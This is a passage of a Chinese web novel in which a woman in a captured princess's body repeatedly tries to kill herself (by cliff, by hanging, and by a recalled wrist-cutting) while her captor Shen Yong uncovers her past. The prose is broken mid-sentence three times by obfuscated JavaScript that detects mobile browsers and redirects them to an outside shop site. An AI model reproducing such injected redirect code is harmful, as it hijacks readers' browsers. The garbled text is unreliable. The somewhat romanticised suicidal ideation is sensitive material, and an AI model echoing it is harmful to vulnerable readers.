笼罩着世界的黑色轻纱被刺破,接着一点点在阳光之下消融。绵延的军营、奔涌的河水、往校场汇集的士兵,纷纷映入眼帘。 柳忆春忽然觉得,世界真大。 但她没有忘记正事,撑着膝盖站起来,一边随意拍去身上的灰一边问: “哪种野菜能吃?” 沈雍也偏头看她,二人眼里正闪动着同一片朝阳的光。 无视她毫无优雅之意的动作,他率先往远处走去,“走吧,我教你。” 说要摘野菜、捡柴,柳忆春就真的很认真在做。 公主的手细嫩修长,完全不是拿来干活用的。 但柳忆春认真做起事情来,偏偏又是沉浸其中、忘乎所以的状态。 到最后,她的眼里只有散落的树枝、指定的野菜,见着树枝就往背篓里丢,见着野菜就拔起来往菜篮子里放。 一同而来的沈雍,忘了;频繁蹲起的劳累,没感觉;就连不小心被树枝叶片划伤了手,也全无察觉。 沈雍一直不远不近地跟着,原本摘菜捡柴的事情只是他随口一说,不过想看她出丑、看她认输而已。 没想到,娇生惯养的公主做这种粗活竟也慢慢像模像样起来。 可是...... 她对无意间毁掉士兵们一顿饭都在意至此,心甘情愿地忍受睡眠不足、身体劳累来做这种粗活去弥补,那他呢? 她对沈家做的事情可过分多了,为何却半点愧疚都无? 不甘强烈翻涌,从心口溢到指尖,又从胸口涌到喉间,直叫人指尖发麻、舌根泛酸。 沈雍上前制住她的动作,一字一字直接问出了心中的疑问。 “你还记得,五年前是如何指认沈家谋逆的吗?” 14. 梨花 谋逆? 柳忆春看向蹲在她身前的男人,晨光正正打在他的脸上,为这张总是深邃沉郁的脸消去些阴影。 所以,这就是他恨公主的原因? 她缓缓将方才拔出的野菜放入菜篮,露出一个近乎残忍的笑。 “公主的忏悔,对你来说这么重要?” 沈雍设想过,她也许会装作毫不知情来博可怜,也许会和盘托出一切来尽量撇清关系。 毕竟,他单单留了她一命,这样的偏爱已经很明显了不是吗? 可是他万万没想过,她竟以一种调笑的语气,将他的心思直接血淋淋地揭开。 气血上涌,一股熟悉的羞恼迅速在心口蔓延开。 不受控制地,他拎起她的衣领站起来,一旁的菜篮打翻在地。 柳忆春猛地被提起来,语气却比方才更惋惜:“可惜,你永远也听不到了。” 她逆着光,沈雍厌恶她面上模糊不清的表情,转而将她按在一侧的树干上,利剑出鞘,瞬间抵上她的脖颈。 柳忆春紧紧注视着他的脸。 对,就是这样,生气、恼羞成怒,然后——激情杀人。 她明白自己在说什么,那些话于她而言是事实,毕竟她能穿过来,那可怜的公主应该早就死了,他当然不可能再听到她的忏悔。 可对他来说,这话却是挑衅、是死不悔改。她都知道。 利刃架在脖颈上,寒意丝丝泛出,这也很合她意。 身前的人面无表情,似乎与平时一般无二。但她能感觉到他身体的紧绷,那是一种长弓蓄力到极致,立马能让杀人利箭破空而出的极限状态。 如果仔细看,还能看清他紧绷的下颌,紧皱的眉头和狂跳的额角。 柳忆春很满意。 满意得微微仰头,满意得轻轻闭眼,满意得,嘴角又勾起了向往的笑。 笑,多么熟悉的一抹笑。 那夜她拿碎瓷片割.腕时,便是这幅表情。 沈雍握紧剑柄,用力一挥。 扑簌—— 有什么东西落在春草上。 柳忆春在劲风的余韵中缓缓睁开眼,眼前是敛眉收剑的沈雍,而身侧,则是被斩断的蛇。 下意识地,她伸手摸了摸脖子。 干的。 她皱眉,正想问为什么,却被紧接着从左肩袭来的剧痛激得发出痛呼。 他用剑鞘抽她的力道之大,直接让她随之扑倒在地,背篓里的干枯树枝也因此散落一地。 柳忆春侧伏在地上,闻着近在眼前的土地与青草气息,抬头迅速扫了他一眼,既幽怨、又委屈。 却丝毫没有爬起来的意思。 沈雍将长剑重新佩戴至腰间,面色冷峻。 瞥一眼散落遍地的野菜干柴,他的语气臭得要命,“捡起来,继续。” - 一连几日过去,沈雍每日天未亮便来拖她起床,等她穿戴完毕就是一顿空腹有氧。 奇怪的氛围笼罩着他们,谁也不说话。 沈雍每次都闷着头一个劲拉她往山上爬,总是等她累趴下了才停下。 不知不觉间,二人能一口气爬到的地方越来越高,柳忆春也发现公主的身体素质其实比她好很多,最初累成那副鬼样子应该纯粹是因为刚刚病愈身体太虚。 这日,他们走到的摘菜捡柴地方,有一大片正在开花的梨树。 雪白的一大片,偶尔飘落几点花瓣,幽幽清香萦绕其间,混着春日清晨微凉的露气,十分沁人心脾。 沈雍立于一侧,遥望山脚连绵军营。 每每远眺,他都觉得胸中激荡,心怀开阔。 这几日柳忆春干活的时候,他便这样在一旁远眺,有时也会随意捡起树枝在土地上勾画。 有时实在嫌她慢了,还会主动挥剑斩些干枯树枝下来。她也不矫情,他砍下来的她就捡。 累瘫在地,柳忆春呼吸急促,大股大股的梨花香被她吸入肺腑。 休息够了,她照例起身开始干活。 可不知为何,这股往日没有的淡淡清香似乎没有随着呼气离开她的身体,反而在她大脑之中沉积、萦绕,逐渐变得黏腻、深沉。 她忽然觉得有些精神恍惚。 这些日子,她每天都有充足的锻炼、天然的食物和足够的睡眠,大脑是二十多年来少有的得到充足休息的清醒状态。 再者,她不用996地上班,不用费劲地和同事扯皮,不用组织无数遍语言和领导汇报工作。无所事事的日子让她的心也轻盈了不少。 那么这种沉闷的、与世界隔绝的恍惚感,不该出现才对。 柳忆春不由自主将目光移向沈雍腰间的佩剑。 想立刻借来一用。 但她随即又否定——根本抢不过来。 将她与世界隔绝的无形薄膜在一点点成型、收紧,夺掉她的呼吸、夺掉她的感知。 前几日被他打伤的左肩,她根本没有上药,此刻仍疼着。 柳忆春伸手用力往伤处一捏,疼痛在她灵魂深处激起震荡,周身的世界终于清晰了一些。 可不消片刻,黑暗便再次朝她来袭,美好春日在她的世界渐渐消散,她开始听不见鸟叫、感受不到温暖的阳光,脚下坚实的土地也仿似成了吞噬万物的旋涡。 她的世界,只剩下那股越来越清晰的梨花香。 如此柔和,又如此地,杀人于无形。 远处的天空看起来离她那么近,云朵上会有天宫吧? 她这样的人,还有机会上天堂吗? 一个声音在她心里越来越大:去吧,去吧,不试试怎么知道呢?去了天堂就什么痛苦都没有了。 柳忆春顺从地跟随着那道心声,突然发现云上果然有天宫!檐牙高啄,金玉相嵌,正一点点向她靠近。 她不由自主向它走去,世界突然变得奇幻,自己居然可以结结实实踩在云上。 她有点开心,原来她还可以上天堂啊。 眼看着就要踏入天宫大门,背后却有股力道将她猛地拉了回去,一道怒音随之而来。 “你在干什么!” 柳忆春猛地惊醒,云中仙宫倏然消散,眼前竟是一片悬崖,再往前一步,迎接她的便是粉身碎骨。 她想描述方才所见,张张嘴却只是吸入更多梨花香,竟是一点声音都发不出。 沈雍仍惊魂未定,要不是他眼疾手快拉住她的背篓,恐怕去死这件事就真的被她得逞了。 当真是,防不胜防,完全不能让人放心,不过几个呼吸的时间,她竟又做出这种事情来! 他又惊又怒地看向怀里的人,想怒斥几句,却见她的状态明显不对。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546556|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >双目失神,面色惨白,冷汗涔涔,右手却死死捏住左肩。 沈雍拨开她的手,拉开衣领一看,竟是大片的青紫横亘在嫩白的肌肤上,毛孔似乎都要渗出血来。 目光攫住她失神的脸庞,他什么话也说不出来。 三两下为她收拾好衣服、丢开背篓,如对待一件易碎品般将她放上自己的背,飞也似的向山下奔去。 狂奔之下,难免颠簸,沈雍见她无力的模样,生怕她从身上摔下去,将腰躬得极低。 不过,那双细瘦的手臂却出乎意料地紧紧地环住他的脖颈,以至于让他有些呼吸困难。 见她攀得极紧,沈雍安心了些,全神贯注地往军营奔去。 不料,耳侧却逐渐传来贪婪的呼吸声,越靠越近,甚至她呼出的气都轻柔而挑逗地喷薄在他敏感的颈侧。 沈雍浑身一紧,不轻不重地颠她一下。 “老实点!” 然而话出口的瞬间他便发现,这是一句多么无力的训斥。 她怎么可能老实? 沈雍一边将注意力集中在脚下的山路,一边不由自主为颈侧毛茸茸的触感分神。 她似乎轻笑了一声,哼出的气流离得更近了,紧接着是痴迷又懒散的轻喃—— “我喜欢你身上的味道...” 真是该死! 沈雍很想将她甩下来看看,方才还惨白痛苦着的脸是不是又变成了讥诮与嘲讽。 从山间奔入平地,未免她继续作乱,沈雍干脆将她打横抱起来。 于是她的脸出现在他眼前。 出乎意料地,她竟真是一副迷恋的模样,甚至还主动攀着他的肩膀,要离他近些。 一股异样在心里蔓延,沈雍忍不住冷声刺她。 “当初为了救驸马,不惜污蔑沈家谋反,如今落入我的手中,又摆出这幅姿态来引诱我。” “懿春公主,不愧是个是非不分、毫不知耻的女人。” 柳忆春没有理他。 正是士兵们晨练的时间,一路上只有些巡卫兵。 这些日子以来,众人早已习惯在清晨见到沈雍与柳忆春同行的身影。 但今日这幅样子,显然是出了事情。 “参加王上!” 一阵风快速掠过,“去把范卢风叫来。” “是!” 步入主帐片区西南角的帐篷,银画快步迎了上来。 “参加王上。” 沈雍略一颔首,轻轻将柳忆春放下。 落到榻上,她满是不舍地松开了攀住他的双臂。 沈雍直起身子看她,她没有什么表情,只是眼里的雾变得更浓了。 银画言行沉稳,见状上前搭把手,为柳忆春除去鞋靴,垫上靠枕,让她坐得稍微舒服些。 沈雍微微偏头,“她以前会这样吗?” 银画正是木三两日前寻得的侍女,从前在昭月殿贴身服侍。 卫大娘在柳忆春的提议下已回了伙食营做活,大军拔营的日子逐渐临近,需准备行军路上所需的干粮,伙食营日日忙得不可开交。 听见沈雍的问话,她的身子有些僵硬,恭顺地朝他行一个标准的礼,将要回话时却欲言又止。 沈雍瞥了一眼神色恍惚的柳忆春,示意银画往帐外去。 二人一前一后走出营帐。 15. 窒息 甫一出帐,银画便在沈雍面前跪了下来。 “请王上恕罪,公主她,从前也总是这幅没有魂的样子。” “您吩咐奴婢试探公主是否真的记忆缺失,但无论奴婢如何说起往事,公主都兴致缺缺,丝毫不搭话,奴婢实在试探不出来,还请王上多给奴婢一些时日。” 语毕,银画朝沈雍重重磕一个头。 沈雍沉吟,又问她:“那她从前会千方百计寻死吗?” 银画一惊,猛地抬头。 “怎会...?” 心下一沉,沈雍不由得紧了紧下颌。 “她方才要往悬崖下跳。” 银画怔愣片刻,突然想起了一个场景。 “说起来...昭月殿的庭院中,有一棵很高的银杏树。公主自小习舞,经常神不知鬼不觉地爬到很高的树枝上去。” “奴婢们每次发现都惊慌不已,可无论怎么焦急劝告,公主都充耳不闻,只是静静地抬头望着天。” “有好几次奴婢都感觉殿下似乎要乘风而去,但殿下在上面待够了又总会自己下来。” 银画小心翼翼地看向沈雍,“奴婢不知......” 沈雍明白了她的意思,不由分打断了她。 “你觉得她以前的生活如何?” 银画饶是再沉稳,此刻也有些稳不住心神,为难地看向沈雍,“王,王上...” “不必多虑,如实道来,越朝已经亡了。” 可到底她还是不好太直白地评价主子,开口十分含蓄。 “奴婢,奴婢觉得,殿下她,虽然锦衣玉食,但也许过得不太开心...” “为何?” “因为......” 急促的脚步声传来,范卢风一边大口喘气一边不耐地问。 “又怎么了又怎么了?” 沈雍朝银画使了个眼色,银画顿时松了口气从地上起身。 “进去瞧瞧她。” 范卢风无言以对,“你又开始折磨她了?” 沈雍不说话,率先朝里走去,却猛地停住脚步,又在差点撞到鼻子的范卢风大骂之前飞驰而入。 “你......啊!?” 视线失去阻隔,看清沈雍为何飞奔时,跟在后面的范卢风不禁发出一声惊叫。 “我的老天爷呀,这又是怎的了!” 沈雍没有理会他,脸色极差,正在将柳忆春涨红的脑袋从带子里解救出来—— 不过与银画谈话的片刻功夫,她竟拿了腰带在床头打死结,将脑袋伸进去后试图用上半身重量把自己勒死! 能看出来,她在窒息的过程中也极为痛苦,床沿尽是抓痕,甲缝里也都是木屑。 可就算这样,她也没想过要将自己解救出来。 银画哪里见过这种场面,当即便扑到柳忆春身边压抑地哭了出来。 她无措地看向沈雍,只见他面色紧绷地朝范卢风吼。 “还愣着干什么!” 范卢风也脸色极差,这个公主,怎么还在寻死啊...... 他快步上前,检查柳忆春的情况,一早被叫起来的起床气一扫而空。 “还好,还活着......” 然而青紫红肿的勒痕横亘在雪白玉颈中央,触目惊心。 范卢风连忙为她把脉。 片刻后,他眉头紧皱,“人倒还好,不过......方才发生了什么?” 沈雍回视,“怎么说?” “她似乎有剧烈的情绪起伏,以至于心神受损,神志恍惚,也许,寻死的动作也正是出于此。” 沈雍十分困惑,“可方才并未发生任何特殊的事情。” “我们一同去背后的栖云山,不过比前几日走得远了些,何至于此?” 范卢风也无法断言个中原因,叹了口气为柳忆春配药。 “半边身子的重量始终比不过整个身子,夫人脖子上的勒痕没有上次严重,应当没有伤到内里,若是能正常吃饭说话就不要再喝药了,用这个药膏就行。” “至于别的,我可就医不了了。” 银画比卫大娘会伺候人得多,已打来一盆清水为柳忆春洁面擦手。 动作间,她发现柳忆春发间一小片白色花瓣,细细嗅来,似乎是梨花的味道。 想到什么,她当即愣在原地。 范卢风走后,帐内只剩下沈雍。 他见银画对着指尖的小块白色发愣,不由出声询问。 “可有异样?” 银画被他的询问一惊,朝沈雍落座的案边跪去,迟疑地问: “不知方才......王上可是和公主去看了梨花?” 沈雍垂下眼睫思索片刻,“那片山头确有一大片梨树,如何?” “公主她,不知为何,好像闻不得这梨花香,宫里种了梨花的地方,殿下她每次都会绕开,就连殿下的母妃胡贵嫔娘娘在寝宫里熏了玉梨香,殿下也都不愿踏足半步。” 一道沉沉的目光扫向银画,“为何?” 她将头埋得更低,“奴婢不知......在六年前殿下得以单独居住昭月殿时,似乎就是如此了,再往前的事情,奴婢就什么也不知道了。” 气氛有片刻凝滞,沈雍又问:“她与胡贵嫔之间的关系如何?” 银画不敢放松,“殿下与娘娘母女情深,关系极好,每次得了赏赐都会拿去孝敬娘娘,娘娘也经常来与殿下说些体己话。” “胡贵嫔很爱玉梨香吗?” “是呢,娘娘几乎常年熏这款香,连带着身边的衣物首饰都会染上一股淡淡的梨花清香。” 沈雍更具压迫感的声线传来,“公主恨梨香,恨到想去死,胡妃爱梨香,爱到每日熏,偏偏母女二人感情极好、时常会面,不矛盾吗?” 银画猛地一愣,也察觉出了一丝不同寻常,可做下人的一向不能打探主子的私事,她向来明哲保身,自然也从未有过多余心思。 此刻经沈雍点出来,她才突然反应过来其中的怪异之处。 银画慌乱地看了沈雍一眼,被他如有实质的目光吓得连忙磕头。 “王上明鉴,奴婢所言句句属实!” 沈雍也不认为旧朝都亡了她还有什么撒谎的必要,便继续问她: “公主被赐昭月殿之前,可是与胡妃同住?” 银画的语气明显加快了些,“正是正是。” “可认识当时服侍的宫人?” 银画绞尽脑汁,“嗯......娘娘身边的张嬷嬷是一直服侍的,至于别的,也许有些宫女到了年岁便被放出宫了。” 帐中再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551659|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次安静下来,银画心中忐忑,不知自己的回答能否让这尊杀神满意。 逃出宫那日,城楼上数十个摇晃的头颅仍在她脑海里回放不休,无人不惧怕这位手段狠辣的征服者,她也不例外。 她本以为可以彻底逃离那座吃人不吐骨头的皇宫,没想到兜兜转转又被抓到了公主身边。 她的公主啊,怎么短短时间不见就成了这幅伤痕累累的样子,看起来居然比以前更糟。 紧绷的氛围仍蔓延着,她总觉得,如今的处境比在宫内还要可怕,这位王上一个不高兴恐怕真的会把她也砍了。 就在她忐忑得不由自主匍匐在地时,沈雍终于开口。 “下去将她厌恶的东西列个单子出来。” 银画提着的一口气猛地一松,“谢王上。” 她离开后,沈雍独自在案前坐了好一会儿才重新走向柳忆春的床榻。 这是第几次了?居高临下地看着她苍白的脸庞。 一股深深的无力感涌上心头,一同袭来的还有强烈的不安。 范卢风说得的确不错,他一点也不了解懿春公主。 他不了解她的悲喜,也对她如何成为今日的她一无所知。 现在,她的过去开始一点点被揭开,他却有些不敢看了。 他有些怕,最终的结果恐怕不是他曾经以为的那样。 那抹让他魂牵梦萦、甚至想要用军功换得赐婚的倩影,到头来只是一个精心营造的幻影吗? 一个对疼痛容忍程度如此之高的纤弱女子,真的曾受尽宠爱吗? 一位总是消极度日的公主,真的会为了一己私心主动去谋害毫无交集的前朝重臣吗? 若说之前她的主动求死可以解释为怕被他折磨得生不如死,但这些日子以来,他对她可以说照顾有加,就连那日她踩着他的伤口挑衅,他也只是略施小惩罢了—— 何至于让她再度主动求死? 事已至此,沈雍不得不承认,也许,她的求死之心从未因他而起,她只是,自己想死而已。 沈雍一言不发地净手,拿起桌上的药膏为她脖颈上药。 片刻后,又轻轻解开她的腰带,褪开上衣,为那日被他打伤的左肩上药。 伤口完整地显露在他眼前,他突然对自己所谓的“略施小惩”有些惭愧。 竟不知,常年习武的男子未收力气的一击,体现在娇弱的公主身上会如此叫人不忍直视。 他轻轻抬起她的肩头垫入被子,以便于上药。 眼前的一大片肌肤细腻顺滑,如上好的羊脂玉,唯独那一大片青紫红肿格外惹眼。 他自幼在边关长大,五年前被流放也吃尽苦头,对这样的打击伤再熟悉不过,处理起来很是熟练。 但他实在是想不通,她为何会如此不爱惜自己的身体。 伤成这幅样子,且不说动一下就会疼,她不但不给自己上药,还一连几日面不改色地被他拉去摘菜捡柴接受所谓的“惩罚”。 她难道感觉不到痛吗? 沈雍神游天外地想着,掌下的力道不自觉大了些,榻上之人的呼吸突然变得急促。 侧目望去,她不知何时竟已醒了,清浅的双眸与他对望,内里浓雾稍散。 红唇微启,声音嘶哑,出口却是: “再用力些。” 16. 秘密 沈雍的眉头忽地紧皱,心里闪过千百个念头,最终却只是抽回手,沉声问她: “为什么跳崖?” 温热的大掌从肩头移开,凉意争先恐后涌来,柳忆春不满地皱皱眉,只得用自己的右手代替,握住受伤的地方用力收紧。 眼中瞬间涌上的水意将迷雾吹散更多,她的双眼一时间变得清亮无比。 沈雍的眉头皱得更紧,她居然不仅不给自己上药,还做这种雪上加霜之事! 他连忙伸手去拉她的右手,却听见她破天荒地回答了他的问题。 “我没有跳崖,我只是看见了仙宫,想进去看看。” 沈雍愣住,嗤笑一声,不顾她阻挠的力道,拉开了她的右手。转而将自己的手心搓热,往她已经抹了药膏的伤处继续轻轻揉按。 “那你为何上吊?” 她的眼里忽地盛满了疑惑,“我没有上吊,只是觉得窒息的感觉和今天闻到的一股气味很配。” 沈雍的动作蓦地止住,对上她天真的、坦然的视线,一时无言以对。 她要不听听自己在说什么? 深吸一口气,他问:“既然讨厌梨花香,为什么还要走近?” 柳忆春反应了一会儿,忽然露出了然的神色,“原来是梨花的香味啊......” 沈雍的心一点点往下沉,再开口时嗓音有些艰涩。 “可以给我讲讲以前在宫里的生活吗?” 柳忆春忽地笑了。 时辰尚早,投入帐中的阳光落在她身上,衬得她肤色白得发光,头发黑得发亮,瞬间闪现的笑容虽然充满讥诮,仍是勾魂摄魄。 笑意渐收,她大胆地直视他,眼睛里像长了钩子,要将人的魂魄也勾进去。 “要不,我告诉你一个秘密吧?” 玩味的、蛊惑的语气,沙哑的、轻柔的声音。 沈雍直觉她说不出什么好话,却又忍不住要听。 动作渐渐停下,“说。” 柳忆春朝他勾勾手指,示意他俯身。 沈雍的脸色变得更臭,忽地伸手捏住她的双颊,眼看着她的表情变得滑稽。 “不说算了。” 柳忆春又笑了,微微撑起身子,迅速揽住他的脖子,借着身体下坠的力道将他拉下,紧接着覆在他耳边轻声说: “秘密怎么能大声说出来呢?” 沈雍浑身僵硬,整个身体都覆在她身上。 方才他一只手掐着她的脸颊,被她这么一拉,整个手臂横亘在他们的身体之间,小臂之下绵软的触感愈发清晰。 他从未和女子这般接近,心里既震惊又恼怒。 他们柳家皇室的女子都这般厚颜无耻吗? 她在耳畔说话带来的气流挑动着他脆弱的神经,他竟一时没有立刻推开她。 柳忆春心满意足地呼吸着他身上的气息——一种很干净清爽的、让她非常上头的、难以形容的香味。 她上次以为是他熏了香,但在军中不见得有这种闲情逸致。这次凑近了闻,她确定了,她喜欢的这股香气,是他的体香。 她居然喜欢他的体香。 简直难以置信。 沈雍听着耳畔的呼吸声,与方才背她下山时的动静如出一辙,自是明白了她在干什么。 “闻够了吗?不说我走了。” 柳忆春听着他冷冷的语调,又闷头笑了两声,随即又靠近了些,红唇开合时几乎要碰到他敏感的耳廓。 “其实,我不是公主。” 沈雍忽地撑坐起来,目光一寸寸掠过她的面庞,似要看透她此刻的表情,撕碎她所有的伪装。 柳忆春唇角勾了勾,逐渐恢复面无表情的样子,直视他审视的目光。 “我说,我不是公主,所以你恨公主的那件事情、公主以前的生活,我一句都答不上来,你也不用再问。” 沈雍的目光紧紧攫住她,仍是觉得这个所谓的秘密十分荒谬。 他不由得冷笑一声,“不是公主,那你是谁?” 柳忆春微微偏头,暖阳从很远的地方落入眸中,目光则飘到很远的地方去。 “我吗?一个孤魂野鬼罢了。” 沈雍捏住她的下颌,要她与他直视,“鬼神之说,三岁小孩都不信,你又在逗弄我。” 柳忆春又扬起无害的笑,“怎么和你说实话反倒不信了呢?那个银画,是以前伺候公主的吧?你问问她不就知道我是不是赝品喽。” 无声对峙片刻,沈雍忽地发问:“那公主呢?” “嗯......也许已经死了吧,不然怎么轮得到我附身呢?” 沈雍沉默了。 柳忆春继续说道:“所以我那天虽然想通过挑衅你让你一怒之下把我杀了,但其实也说的是真话——” “公主死啦,你永远不可能听到她的忏悔啦。” 说道最后,她的语气又带上了一股天真的残忍。 似是说出这些话让她感到轻松,见他沉默,她不禁开心地笑了起来。 沈雍死死盯着她,仍是一句话都说不出来。 柳忆春心情很好,“你不是喜欢公主吗?难道能容忍一个霸占了她身体的女鬼吗?” “找个术士来把我打散,或者给我杯毒酒,或是一条白绫,给这个身体留个全尸,说不定我走了以后,公主回来还能继续用呢。” 听到这,沈雍的眉头忽地放松,连嘴角都泛起了一抹微不可查的笑。 还是在寻死。 就因为他把她看得紧,就开始使这种歪门的招数了吗? 他问:“如果你说的是真的,那公主什么时候死的?” 柳忆春歪歪脑袋,“我哪知道。” “那你是什么时候来的?这总知道了吧。” 柳忆春想了想,“嗯......我睁眼的时候,周围很吵,血腥味很重,有把剑横在我脖子边,我不是很想活,就撞了上去,但是没有成功......” “然后,我莫名其妙地倒在了地上被拖着走。” “再后来,嗓子很痛、背上很痛、下面也很痛,我就看到了你......” 她掀起眼帘,伸手戳戳他,“这下你能分清楚了吧?” “我是不是公主,你喜欢她,总能分辨出来吧?” 沈雍静静望着柳忆春,一脸纯真模样说出这番话的柳忆春,心里翻涌着千种情绪。 ——他喜欢公主吗? 惊鸿一面,这样的喜欢过于浅薄。浅薄到他根本分不出她说的话是真是假、分不出她究竟是公主还是所谓的孤魂野鬼。 ——他该相信她的话吗? 一直以来愤愤不平的,他有好感的公主转手便加害沈家,且毫无悔恨之意。若按她的说法,也许公主后悔过,只不过他再也无从知晓罢了。 而她如果只是在诓骗他、愚弄他,那这样死不悔改的挑衅行为,合该受到他更猛烈的报复才对。 啧,好像不管结果如何,他想要的“加害者的忏悔”,似乎都得不到了。 ——她又为何这般想死呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556976|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按照她所说,一个孤魂野鬼,莫名其妙地承受了他的满腔怒火,落下一身伤痛,不仅没有半分怨恨之情,还总是若有似无地对他展露出诸如厌烦、嫌弃等情绪。 厌烦他总是把她救回来、嫌弃他下手不够重? 世界上为何会有人这样想死?他这个从死人堆里好不容易活下来的人实在无法理解。 “那你是为何想死呢?孤魂野鬼姑娘。”他问了出来。 也许是他的表情过于认真,也许是他周身萦绕的寂寥过于浓重,柳忆春没有再以沉默面对这个问题。 但她也没有兴趣和他认真探讨,于是语气懒散道: “人都死要死的,提前一点又怎么了?” 沈雍却很不满意,目光沉沉,不得到认真的回答誓不罢休的架势。 柳忆春见他这样,忽然感觉自己像是被困在了他深邃的眼神里,不自觉地翻了个身,以侧面对他。 沉默片刻后,她缥缈的声音传来。 “人如果连自己的时间都完全无法掌控,那她究竟是一个空有人形的工具,还是一个活生生的人呢?” “工具......又何谈生死呢?” 沈雍有些意外,没想到是这样的答案。 “堂堂一国最受宠的公主,沦为身不由己的工具?” 空气沉默。 柳忆春没有搭话,只余肩头大片淤痕随着呼吸在他面前晃动。 沈雍居高临下拍拍她的脸颊,“你要是能拿出寻死的志气来,什么事情是做不成的?更别说逃离那些试图掌控你的人了。” 柳忆春偏头避开他的手,还给他一个大大的白眼。 算了,现代底层人的烦恼和这个封建特权阶层人说不明白! 唉,人类什么时候才能实现物质极大丰富、没有压迫的共产主义社会啊? 不想再和他搭话,柳忆春干脆闭上了眼。 她每次生气不满的时候,精致的小脸都会变得皱巴巴的。 每当这时,她整个人都会变得生动起来,总算是有些活人气。 很可爱,沈雍很爱看。 他轻轻勾唇,并不计较她的无礼行为,为她拉上敞开的衣领,重新系好腰带。 “老皇帝死了,你的母妃死了,还有谁能逼你做不愿做的事情?” 别的宽慰之语沈雍说不出,丢下这句话就离开了。 没一会儿,那个叫银画的丫鬟便走了进来。 不出意料的话,她也将和之前的卫大娘一样,被勒令不准离开她一步。 真是个苦命的打工人啊。 柳忆春默默在心里叹一口气,疲惫地闭上了眼睛。 折腾这一早上耗掉了她大半的体力,再加上脑袋还是昏昏沉沉的,柳忆春没有再用疼痛刺激自己,就这么放任意识沉睡过去。 - 沈雍几个大步便回到了不远处自己的主帐。 一道黑影掠过,木三出现在他面前。 “去找从前在公主母妃殿里服侍的宫人,再好好打听打听她母妃的为人事迹。” “属下遵命!” 主帐的门帘晃动,帐内又只剩下沈雍一人。 他终究无法相信所谓的鬼神之说,公主变成如今这个样子,他直觉与她母妃有脱不开的关系。 甚至,当年她出面为沈家谋逆作伪证、又在楚珣被无罪释放后被老皇帝赐婚这件事,也许也有那个胡贵嫔的手笔。 真相究竟如何呢? 就连公主本人,也越来越有意思了。 17. 共眠 柳忆春睡饱后,便枯坐在榻上发呆,像是察觉不到时间的流逝一般,任由思绪飘忽、注意力涣散。 当银画终于忍不住上前问她要不要吃点东西时,她才发现自己的状态好像还是不太对劲。 不应该啊,被浓雾笼罩的感觉不该出现在无所事事、吃饱喝足的她身上。 唯一的解释就是,早上的梨花香触动了公主身上的关键词。 唉,天底下果然没有免费的午餐,也没有白用的身体。 银画是一个规矩极好的宫人,总是悄无声息地将住处归置成最适宜居住的样子,但大多数时候都是缄默的。 和柳忆春在一处,大半天都说不了五句话。 但清晨发生的事情实在过于骇人,银画不得不在她身上再多放些心思。 柳忆春见她平静的面下难掩焦急,感受了一下,轻声答她,“我不饿。” 也不知银画是否习惯了公主不吃饭的行为,没有多劝,静静退到一旁去了。 铺天盖地的寂静再次袭来,柳忆春的手下意识覆上左肩的伤处。 不待她用力,帐外突然传来一阵利索的脚步声。 “参见柳夫人——” 竟是卫大娘端着吃食来了。 柳忆春缓缓放下右手,趿着鞋拖沓着脚步往前迎去。 “您怎么来了?” 卫大娘朝银画点点头,将吃食递给她。 看清柳忆春的样子时,眼里又有隐约水光闪动,眼里的心疼与慈爱挡都挡不住。 “我的夫人呀,怎么弄成了这幅样子。” 柳忆春笑笑,没说话。 卫大娘平复了一下心情,指指那碗冒着香气的粥,语带笑意,中气十足。 “最近伙食营里准备干粮忙得不可开交,只得像行军之时那般将菜、肉、粟米一起炖来吃,夫人可别嫌弃。” 怎么会嫌弃呢?这个粥很新鲜、很香,整个帐篷里都是香气。她一直都很喜欢这里的吃食。 柳忆春朝她笑笑,一边上前喝粥一边道谢:“多谢卫大娘,改日去伙食营帮您。” 这几日的干柴与野菜都是她亲自送去伙食营的,自然也见到了他们炒米、熬醋的阵仗,看着还怪好玩的。 伙食营的人见了她都十分友善,有个年轻的小兵每次看见她都会非常热心地给她介绍,包括行军途中每个士兵的干粮配额、眼前正忙活到哪个步骤等等。 她反正也无所事事,便每次都将这幅热火朝天的景象看够了再走。 可惜,她每天都被沈雍拖着拉练,拉练完了还得干活,实在没有体力做别的,不然她真的很想上手帮忙试试看。 现在嘛,她觉得出了今天这个事情,沈雍应该再也不想拉她往山上跑了。 既然如此,她的力气就可以留给伙食营了,嘿嘿。 然而,卫大娘听见她的话立时心里一紧,她可没忘记上次伙食营被烧是谁的手笔。 不过她作为下人又不能把话说得太明,只得委婉地向柳忆春提议。 “过些日子就要拔营了,京郊的风景胜地不少呢,何不让王上陪夫人多逛逛?” 柳忆春小口小口尝着粥,听见卫大娘的提议,她的关注点却跑偏到了别处。 “拔营?去哪?” 